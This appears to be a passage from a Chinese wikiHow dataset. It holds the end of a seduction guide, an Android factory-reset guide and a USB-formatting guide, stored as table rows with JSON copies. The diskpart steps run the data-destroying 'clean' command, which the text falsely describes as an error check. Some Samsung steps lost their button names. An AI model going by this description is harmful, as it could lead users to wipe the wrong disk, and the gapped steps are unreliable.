除非他全身写满了“傻帽”俩字，否则现在到目前为止他该开始怀疑你在钓他了。这很好——因为要是他“不”认为你在钓他才坏了呢。不过，得让他稍微有点儿摸不着头脑，这样可以让他有足够的时间被你吸引。这就意味着要假装你对他不是很有性趣，但是要进行友好的谈话。
2-2. 表露你的社会价值，让他被吸引。
要一直讲话，而且是有目的性的讲话。搞笑娱乐，在你的讲述中把自己树立成一个积极光辉的形象。告诉他你去野营的时间，以及你如何吓跑一只熊，或者是你例行去新健身房的感觉是多么棒。
谈论你的前男友或者是有个朋友在你身边来说明你具有吸引力。
给出大量的糖衣炮弹使他被吸引。如果他被吸引了，你会在她的眼睛和肢体语言中看到他对你越来越感兴趣的信号。
2-3. 给他一剂维生素T：贴近碰触！近身触摸越早往往对事情越有利。
但是要给你的触摸找到恰当的理由，而不是无礼的咸猪手。
将你之前发现的他身上的“绒毛”拂去。自己查看他的手表。抚平他已经糟乱的衣领。与他拍手。打开他的衣领。检查他的亲吻能力得分。
你的抚触要转瞬即逝，使他想要更多。除非他先这么做，否则不要将你的手紧紧贴近他的臀部。
2-4. 移动并远离人群，保持这个过程融洽自然。
邀请他去酒吧一个安静的角落，然后出去呼吸新鲜空气，或者是去你熟悉的能够一起吃披萨的店。如果你觉得运气来了……邀请他去你的住处看看你的小宠物吧！
小提示
一旦直男表明自己的性取向，再去挑逗他们是非常不礼貌的。他们对这件事的厌恶就如同你不喜欢被女异性恋挑逗一样。
有时也可能钓到直男，一般他们耳根软，或者是烂醉，也可能是在一些特殊情况下（比如女人在场）。这种情形大多是钓到直男，使其参与一些他们实际并不喜欢的事情。强迫或引诱他们做这些事情并不好。
如果时间充足，你没有必要总是让某人为你迷了眼。让你自己与他接近（在一侧是最好的）看看是否可以眼神接触。如果眼神能够接触，那么就微笑。如果他也对着你微笑，向他打招呼，向他接近。同样，要记住，对此不感兴趣的人不是“你的菜”。感谢（精神上）他们的诚实，继续寻找下面的目标吧。
将引诱的技术作为简单易学的技巧。有许多关于这方面的书籍，网上也有许多直男和同性恋网站，可以给你提供大量的引诱建议。阅读，参与，提问，分享。当然要去实验，然后享受其中之乐趣。
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14,755 | 如何重置安卓手机系统 | 1. 通过设置程序重置设备
1-1. 在设备上打开“设置”应用程序。
“设置”程序的图标是一个灰色齿轮（⚙️），或是由几个滑块条组成的图案。
1-2. 向下滑动屏幕，点击备份和重置。
它可能位于菜单的或部分中，具体位置取决于设备型号和安卓系统版本。
如果你使用的是三星盖世系列设备，请点击，然后选择选项。
1-3. 点击恢复出厂设置。
它位于菜单底部。
1-4. 点击重置手机。
完成重置进程后，手机会被格式化成出厂时的状态。
在三星盖世系列手机上，请点击。
1-5. 输入解锁密码。
如果手机启用了锁屏密码功能，你需要输入解锁密码、绘制正确的解锁图案、PIN码或账户密码等。
1-6. 点击删除所有数据来确认操作。
接着，系统会立刻清除设备中存储的所有数据，并恢复为默认出厂设置和配置。这个过程需要花费几分钟时间。
在三星盖世系列手机上，请点击。
2. 通过恢复模式重置设备
2-1. 首先将设备关机。
2-2. 启动手机，进入恢复模式。
手机关机时，长按特定的组合键就能进入恢复模式。不同的设备型号要按的键也不一样。
“Nexus”设备 — 同时按下音量增加键、音量减小键和电源键。
三星设备 — 同时按下音量增加键、Home键和电源键。
摩托罗拉X系列 — 同时按下音量减小键、Home键和电源键。
其它设备常用音量减小键和电源键作为进入恢复模式的快捷键。某些使用物理用户界面的设备则使用电源键和Home键。
2-3. 滚动菜单，找到抹除数据或出厂重置选项。
用音量键来滚动菜单选项。
2-4. 按下电源键，选中重置选项。
2-5. 滚动到确定按钮，确认你的选择。
2-6. 按下电源键，开始进行重置，将安卓设备格式化为默认的出厂设置。
警告
重置设备前，记得备份数据。
不同的安卓系统手机的用户界面可能略有不同。
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"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 通过设置程序重置设备\\n1-1. 在设备上打开“设置”应用程序。\\n“设置”程序的图标是一个灰色齿轮（⚙️），或是由几个滑块条组成的图案。\\n1-2. 向下滑动屏幕，点击备份和重置。\\n它可能位于菜单的或部分中，具体位置取决于设备型号和安卓系统版本。\\n如果你使用的是三星盖世系列设备，请点击，然后选择选项。\\n1-3. 点击恢复出厂设置。\\n它位于菜单底部。\\n1-4. 点击重置手机。\\n完成重置进程后，手机会被格式化成出厂时的状态。\\n在三星盖世系列手机上，请点击。\\n1-5. 输入解锁密码。\\n如果手机启用了锁屏密码功能，你需要输入解锁密码、绘制正确的解锁图案、PIN码或账户密码等。\\n1-6. 点击删除所有数据来确认操作。\\n接着，系统会立刻清除设备中存储的所有数据，并恢复为默认出厂设置和配置。这个过程需要花费几分钟时间。\\n在三星盖世系列手机上，请点击。\\n2. 通过恢复模式重置设备\\n2-1. 首先将设备关机。\\n\\n2-2. 启动手机，进入恢复模式。\\n手机关机时，长按特定的组合键就能进入恢复模式。不同的设备型号要按的键也不一样。\\n“Nexus”设备 — 同时按下音量增加键、音量减小键和电源键。\\n三星设备 — 同时按下音量增加键、Home键和电源键。\\n摩托罗拉X系列 — 同时按下音量减小键、Home键和电源键。\\n其它设备常用音量减小键和电源键作为进入恢复模式的快捷键。某些使用物理用户界面的设备则使用电源键和Home键。\\n2-3. 滚动菜单，找到抹除数据或出厂重置选项。\\n用音量键来滚动菜单选项。\\n2-4. 按下电源键，选中重置选项。\\n\\n2-5. 滚动到确定按钮，确认你的选择。\\n\\n2-6. 按下电源键，开始进行重置，将安卓设备格式化为默认的出厂设置。\\n\\n警告\\n重置设备前，记得备份数据。\\n不同的安卓系统手机的用户界面可能略有不同。\\n\", \"简要回答\": \"这篇文章将教你如何重置安卓设备，还原到默认的出厂设置。你可以通过设置程序恢复出厂设置，或者当设备遇到严重故障时，进入恢复模式重置设备。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"通过设置程序重置设备\", \"步骤\": [{\"编号\": 1, \"标题\": \"在设备上打开“设置”应用程序。\", \"描述\": \"“设置”程序的图标是一个灰色齿轮（⚙️），或是由几个滑块条组成的图案。\"}, {\"编号\": 2, \"标题\": \"向下滑动屏幕，点击备份和重置。\", \"描述\": \"它可能位于菜单的或部分中，具体位置取决于设备型号和安卓系统版本。\\n如果你使用的是三星盖世系列设备，请点击，然后选择选项。\"}, {\"编号\": 3, \"标题\": \"点击恢复出厂设置。\", \"描述\": \"它位于菜单底部。\"}, {\"编号\": 4, \"标题\": \"点击重置手机。\", \"描述\": \"完成重置进程后，手机会被格式化成出厂时的状态。\\n在三星盖世系列手机上，请点击。\"}, {\"编号\": 5, \"标题\": \"输入解锁密码。\", \"描述\": \"如果手机启用了锁屏密码功能，你需要输入解锁密码、绘制正确的解锁图案、PIN码或账户密码等。\"}, {\"编号\": 6, \"标题\": \"点击删除所有数据来确认操作。\", \"描述\": \"接着，系统会立刻清除设备中存储的所有数据，并恢复为默认出厂设置和配置。这个过程需要花费几分钟时间。\\n在三星盖世系列手机上，请点击。\"}]}, {\"编号\": 2, \"标题\": \"通过恢复模式重置设备\", \"步骤\": [{\"编号\": 1, \"标题\": \"首先将设备关机。\", \"描述\": \"\"}, {\"编号\": 2, \"标题\": \"启动手机，进入恢复模式。\", \"描述\": \"手机关机时，长按特定的组合键就能进入恢复模式。不同的设备型号要按的键也不一样。\\n“Nexus”设备 — 同时按下音量增加键、音量减小键和电源键。\\n三星设备 — 同时按下音量增加键、Home键和电源键。\\n摩托罗拉X系列 — 同时按下音量减小键、Home键和电源键。\\n其它设备常用音量减小键和电源键作为进入恢复模式的快捷键。某些使用物理用户界面的设备则使用电源键和Home键。\"}, {\"编号\": 3, \"标题\": \"滚动菜单，找到抹除数据或出厂重置选项。\", \"描述\": \"用音量键来滚动菜单选项。\"}, {\"编号\": 4, \"标题\": \"按下电源键，选中重置选项。\", \"描述\": \"\"}, {\"编号\": 5, \"标题\": \"滚动到确定按钮，确认你的选择。\", \"描述\": \"\"}, {\"编号\": 6, \"标题\": \"按下电源键，开始进行重置，将安卓设备格式化为默认的出厂设置。\", \"描述\": \"\"}], \"注意事项\": [\"重置设备前，记得备份数据。\\n\", \"不同的安卓系统手机的用户界面可能略有不同。\\n\"]}]}}",
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} | wikihow |
14,756 | 如何在Windows系统无法识别的情况下格式化优盘 | 1. 先尝试下面的方法
1-1. 将优盘连接到电脑，并打开磁盘管理程序。
这是一个允许你管理所有已连接磁盘的Windows实用程序。即使优盘没有正确格式化，它也应该出现在这个实用程序中。
同时按下Windows键+ R键，然后在运行框中输入diskmgmt.msc命令。这会打开磁盘管理实用程序。
在已连接的驱动器列表中找到你的优盘。如果列出了你的优盘设备，那么可能是优盘在格式化的时候出现了问题。点击此处了解格式化优盘的操作说明。如果列表中没有你的优盘，请继续阅读查看排除故障的几个技巧。
1-2. 将优盘插入另一个USB端口。
在修复优盘前，排除故障最快捷的方法就是将优盘插入电脑其它的USB端口，看电脑能否正常识别优盘。你要将优盘直接插入电脑上的USB端口，而不是插在USB集线器上。
如果插入其它USB端口能够解决问题，那么应该是之前尝试的端口出现了故障。要修复端口的故障问题，你只能通过更换主板才能解决。因此，在之后的使用过程中，尽量避免使用有问题的端口就可以了。
1-3. 将优盘插入其它电脑。
如果在连入其它电脑时，优盘还是无法被电脑识别，那么问题八成出在优盘上。你可能需要更换优盘才行。
如果插入其它电脑时，电脑能够识别这个优盘，那么多半是你的电脑出现了故障。请查阅下一部分来解决优盘故障。
2. 删除和重装驱动器
2-1. 按下.Windows键 + R键，输入 devmgmt.msc。
这会打开设备管理器程序。
2-2. 展开“磁盘驱动器”类别。
这里会列出所有你已接入电脑的磁盘驱动器，包括硬盘驱动器和优盘。
2-3. 右键点击优盘，然后选择“卸载”。
这会移除系统中安装的优盘驱动。
2-4. 拔出优盘，再插回电脑。
Windows系统会尝试自动安装优盘的驱动。
2-5. 更新优盘驱动。
如果你看到设备图标旁边出现一个黄色的感叹号，这说明设备的驱动器出现问题了。如果通用串行总线处有黄色感叹号，那么说明电脑的USB驱动出现了问题。
右键点击不能运行的设备，选择“更新驱动程序软件”。接着，跟随向导重装驱动程序软件。
3. 使用磁盘管理程序格式化优盘
3-1. 按下.Windows键 + R键，输入 diskmgmt.msc。
这会打开磁盘管理实用程序。
3-2. 右键点击优盘分区。
你将能在磁盘管理窗口下方的窗格内看到每个驱动器所有的分区信息。
3-3. 从菜单中选择“格式化”。
这会打开格式化工具。
3-4. 选择“FAT32”作为分区格式。
大多数设备都能读取这种格式的优盘，包括Windows系统、OS X系统、Linux系统和各种游戏机。
3-5. 不要勾选“执行快速格式化”选项。
虽然普通格式化花费的时间更长，但是却能全面检测驱动器，发现坏道并修正上面的一些错误。
3-6. 点击.确定 来开始格式化磁盘。
这可能需要花费一段时间，但是如果格式化操作成功，你的优盘应该能被Windows系统识别而出现在列表中。如果格式化操作不成功，请查阅下面的方法。
格式化会删除优盘上的所有数据。
4. 使用命令提示符格式化驱动器
4-1. 打开命令提示符。
你可以从开始菜单中打开命令提示符，也可以同时按下Windows+ R键打开运行程序，然后输入cmd打开命令提示符。
4-2. 输入.diskpart ，按下回车键。
系统会提示你输入管理员密码，以管理员身份进行访问。命令会变成DISKPART>。
4-3. 输入.list disk ，然后按下回车键。
这会列出已连接的所有磁盘。
4-4. 输入.select disk # ，然后按下回车键。
用代表你优盘的数字来代替命令中的#。
4-5. 输入.clean ，然后按下回车键。
这会检查磁盘上的错误。
4-6. 输入.create partition primary ，然后按下回车键。
这会在磁盘上创建一个新的分区。
4-7. 输入.active ，然后按下回车键。
这会让新创建的分区成为优盘上的活动分区。
4-8. 输入.format fs=fat32 ，然后按下回车键。
这会让新分区格式化为FAT32格式，使之与大多数设备和计算机能够兼容。
格式化进程很可能需要花费一段时间才能完成。
4-9. 输入.exit ，然后按下回车键。
这会关闭DISKPART实用程序。
使用DISKPART实用程序后，如果你的优盘还是无法被Windows系统识别，或是在尝试进行格式化时发生错误，很可能是因为优盘已受损而无法工作了。
| {
"create_time": "20230517 11:02:20",
"回答明细": "{\"回答\": \"1. 先尝试下面的方法\\n1-1. 将优盘连接到电脑，并打开磁盘管理程序。\\n这是一个允许你管理所有已连接磁盘的Windows实用程序。即使优盘没有正确格式化，它也应该出现在这个实用程序中。\\n同时按下Windows键+ R键，然后在运行框中输入diskmgmt.msc命令。这会打开磁盘管理实用程序。\\n在已连接的驱动器列表中找到你的优盘。如果列出了你的优盘设备，那么可能是优盘在格式化的时候出现了问题。点击此处了解格式化优盘的操作说明。如果列表中没有你的优盘，请继续阅读查看排除故障的几个技巧。\\n1-2. 将优盘插入另一个USB端口。\\n在修复优盘前，排除故障最快捷的方法就是将优盘插入电脑其它的USB端口，看电脑能否正常识别优盘。你要将优盘直接插入电脑上的USB端口，而不是插在USB集线器上。\\n如果插入其它USB端口能够解决问题，那么应该是之前尝试的端口出现了故障。要修复端口的故障问题，你只能通过更换主板才能解决。因此，在之后的使用过程中，尽量避免使用有问题的端口就可以了。\\n1-3. 将优盘插入其它电脑。\\n如果在连入其它电脑时，优盘还是无法被电脑识别，那么问题八成出在优盘上。你可能需要更换优盘才行。\\n如果插入其它电脑时，电脑能够识别这个优盘，那么多半是你的电脑出现了故障。请查阅下一部分来解决优盘故障。\\n2. 删除和重装驱动器\\n2-1. 按下.Windows键 + R键，输入 devmgmt.msc。\\n这会打开设备管理器程序。\\n2-2. 展开“磁盘驱动器”类别。\\n这里会列出所有你已接入电脑的磁盘驱动器，包括硬盘驱动器和优盘。\\n2-3. 右键点击优盘，然后选择“卸载”。\\n这会移除系统中安装的优盘驱动。\\n2-4. 拔出优盘，再插回电脑。\\nWindows系统会尝试自动安装优盘的驱动。\\n2-5. 更新优盘驱动。\\n如果你看到设备图标旁边出现一个黄色的感叹号，这说明设备的驱动器出现问题了。如果通用串行总线处有黄色感叹号，那么说明电脑的USB驱动出现了问题。\\n右键点击不能运行的设备，选择“更新驱动程序软件”。接着，跟随向导重装驱动程序软件。\\n3. 使用磁盘管理程序格式化优盘\\n3-1. 按下.Windows键 + R键，输入 diskmgmt.msc。\\n这会打开磁盘管理实用程序。\\n3-2. 右键点击优盘分区。\\n你将能在磁盘管理窗口下方的窗格内看到每个驱动器所有的分区信息。\\n3-3. 从菜单中选择“格式化”。\\n这会打开格式化工具。\\n3-4. 选择“FAT32”作为分区格式。\\n大多数设备都能读取这种格式的优盘，包括Windows系统、OS X系统、Linux系统和各种游戏机。\\n3-5. 不要勾选“执行快速格式化”选项。\\n虽然普通格式化花费的时间更长，但是却能全面检测驱动器，发现坏道并修正上面的一些错误。\\n3-6. 点击.确定 来开始格式化磁盘。\\n这可能需要花费一段时间，但是如果格式化操作成功，你的优盘应该能被Windows系统识别而出现在列表中。如果格式化操作不成功，请查阅下面的方法。\\n格式化会删除优盘上的所有数据。\\n4. 使用命令提示符格式化驱动器\\n4-1. 打开命令提示符。\\n你可以从开始菜单中打开命令提示符，也可以同时按下Windows+ R键打开运行程序，然后输入cmd打开命令提示符。\\n4-2. 输入.diskpart ，按下回车键。\\n系统会提示你输入管理员密码，以管理员身份进行访问。命令会变成DISKPART>。\\n4-3. 输入.list disk ，然后按下回车键。\\n这会列出已连接的所有磁盘。\\n4-4. 输入.select disk # ，然后按下回车键。\\n用代表你优盘的数字来代替命令中的#。\\n4-5. 输入.clean ，然后按下回车键。\\n这会检查磁盘上的错误。\\n4-6. 输入.create partition primary ，然后按下回车键。\\n这会在磁盘上创建一个新的分区。\\n4-7. 输入.active ，然后按下回车键。\\n这会让新创建的分区成为优盘上的活动分区。\\n4-8. 输入.format fs=fat32 ，然后按下回车键。\\n这会让新分区格式化为FAT32格式，使之与大多数设备和计算机能够兼容。\\n格式化进程很可能需要花费一段时间才能完成。\\n4-9. 输入.exit ，然后按下回车键。\\n这会关闭DISKPART实用程序。\\n使用DISKPART实用程序后，如果你的优盘还是无法被Windows系统识别，或是在尝试进行格式化时发生错误，很可能是因为优盘已受损而无法工作了。\\n\", \"简要回答\": \"如果你的优盘无法被Windows系统识别，或是无法进行格式化，那么很可能是Windows系统或优盘出现了问题或故障。如果是Windows系统出现故障，通常可以通过重装优盘驱动器来解决问题。如果问题出在优盘上，那么你很可能需要全面格式化优盘来修复它。如果优盘出现不可逆地损坏，那么你可能需要更换优盘才行。\", \"结构\": {\"方法\": [{\"编号\": 1, \"标题\": \"先尝试下面的方法\", \"步骤\": [{\"编号\": 1, \"标题\": \"将优盘连接到电脑，并打开磁盘管理程序。\", \"描述\": \"这是一个允许你管理所有已连接磁盘的Windows实用程序。即使优盘没有正确格式化，它也应该出现在这个实用程序中。\\n同时按下Windows键+ R键，然后在运行框中输入diskmgmt.msc命令。这会打开磁盘管理实用程序。\\n在已连接的驱动器列表中找到你的优盘。如果列出了你的优盘设备，那么可能是优盘在格式化的时候出现了问题。点击此处了解格式化优盘的操作说明。如果列表中没有你的优盘，请继续阅读查看排除故障的几个技巧。\"}, {\"编号\": 2, \"标题\": \"将优盘插入另一个USB端口。\", \"描述\": \"在修复优盘前，排除故障最快捷的方法就是将优盘插入电脑其它的USB端口，看电脑能否正常识别优盘。你要将优盘直接插入电脑上的USB端口，而不是插在USB集线器上。\\n如果插入其它USB端口能够解决问题，那么应该是之前尝试的端口出现了故障。要修复端口的故障问题，你只能通过更换主板才能解决。因此，在之后的使用过程中，尽量避免使用有问题的端口就可以了。\"}, {\"编号\": 3, \"标题\": \"将优盘插入其它电脑。\", \"描述\": \"如果在连入其它电脑时，优盘还是无法被电脑识别，那么问题八成出在优盘上。你可能需要更换优盘才行。\\n如果插入其它电脑时，电脑能够识别这个优盘，那么多半是你的电脑出现了故障。请查阅下一部分来解决优盘故障。\"}]}, {\"编号\": 2, \"标题\": \"删除和重装驱动器\", \"步骤\": [{\"编号\": 1, \"标题\": \"按下.Windows键 + R键，输入 devmgmt.msc。\", \"描述\": \"这会打开设备管理器程序。\"}, {\"编号\": 2, \"标题\": \"展开“磁盘驱动器”类别。\", \"描述\": \"这里会列出所有你已接入电脑的磁盘驱动器，包括硬盘驱动器和优盘。\"}, {\"编号\": 3, \"标题\": \"右键点击优盘，然后选择“卸载”。\", \"描述\": \"这会移除系统中安装的优盘驱动。\"}, {\"编号\": 4, \"标题\": \"拔出优盘，再插回电脑。\", \"描述\": \"Windows系统会尝试自动安装优盘的驱动。\"}, {\"编号\": 5, \"标题\": \"更新优盘驱动。\", \"描述\": \"如果你看到设备图标旁边出现一个黄色的感叹号，这说明设备的驱动器出现问题了。如果通用串行总线处有黄色感叹号，那么说明电脑的USB驱动出现了问题。\\n右键点击不能运行的设备，选择“更新驱动程序软件”。接着，跟随向导重装驱动程序软件。\"}]}, {\"编号\": 3, \"标题\": \"使用磁盘管理程序格式化优盘\", \"步骤\": [{\"编号\": 1, \"标题\": \"按下.Windows键 + R键，输入 diskmgmt.msc。\", \"描述\": \"这会打开磁盘管理实用程序。\"}, {\"编号\": 2, \"标题\": \"右键点击优盘分区。\", \"描述\": \"你将能在磁盘管理窗口下方的窗格内看到每个驱动器所有的分区信息。\"}, {\"编号\": 3, \"标题\": \"从菜单中选择“格式化”。\", \"描述\": \"这会打开格式化工具。\"}, {\"编号\": 4, \"标题\": \"选择“FAT32”作为分区格式。\", \"描述\": \"大多数设备都能读取这种格式的优盘，包括Windows系统、OS X系统、Linux系统和各种游戏机。\"}, {\"编号\": 5, \"标题\": \"不要勾选“执行快速格式化”选项。\", \"描述\": \"虽然普通格式化花费的时间更长，但是却能全面检测驱动器，发现坏道并修正上面的一些错误。\"}, {\"编号\": 6, \"标题\": \"点击.确定 来开始格式化磁盘。\", \"描述\": \"这可能需要花费一段时间，但是如果格式化操作成功，你的优盘应该能被Windows系统识别而出现在列表中。如果格式化操作不成功，请查阅下面的方法。\\n格式化会删除优盘上的所有数据。\"}]}, {\"编号\": 4, \"标题\": \"使用命令提示符格式化驱动器\", \"步骤\": [{\"编号\": 1, \"标题\": \"打开命令提示符。\", \"描述\": \"你可以从开始菜单中打开命令提示符，也可以同时按下Windows+ R键打开运行程序，然后输入cmd打开命令提示符。\"}, {\"编号\": 2, \"标题\": \"输入.diskpart ，按下回车键。\", \"描述\": \"系统会提示你输入管理员密码，以管理员身份进行访问。命令会变成DISKPART>。\"}, {\"编号\": 3, \"标题\": \"输入.list disk ，然后按下回车键。\", \"描述\": \"这会列出已连接的所有磁盘。\"}, {\"编号\": 4, \"标题\": \"输入.select disk # ，然后按下回车键。\", \"描述\": \"用代表你优盘的数字来代替命令中的#。\"}, {\"编号\": 5, \"标题\": \"输入.clean ，然后按下回车键。\", \"描述\": \"这会检查磁盘上的错误。\"}, {\"编号\": 6, \"标题\": \"输入.create partition primary ，然后按下回车键。\", \"描述\": \"这会在磁盘上创建一个新的分区。\"}, {\"编号\": 7, \"标题\": \"输入.active ，然后按下回车键。\", \"描述\": \"这会让新创建的分区成为优盘上的活动分区。\"}, {\"编号\": 8, \"标题\": \"输入.format fs=fat32 ，然后按下回车键。\", \"描述\": \"这会让新分区格式化为FAT32格式，使之与大多数设备和计算机能够兼容。\\n格式化进程很可能需要花费一段时间才能完成。\"}, {\"编号\": 9, \"标题\": \"输入.exit ，然后按下回车键。\", \"描述\": \"这会关闭DISKPART实用程序。\\n使用DISKPART实用程序后，如果你的优盘还是无法被Windows系统识别，或是在尝试进行格式化时发生错误，很可能是因为优盘已受损而无法工作了。\"}]}]}}",
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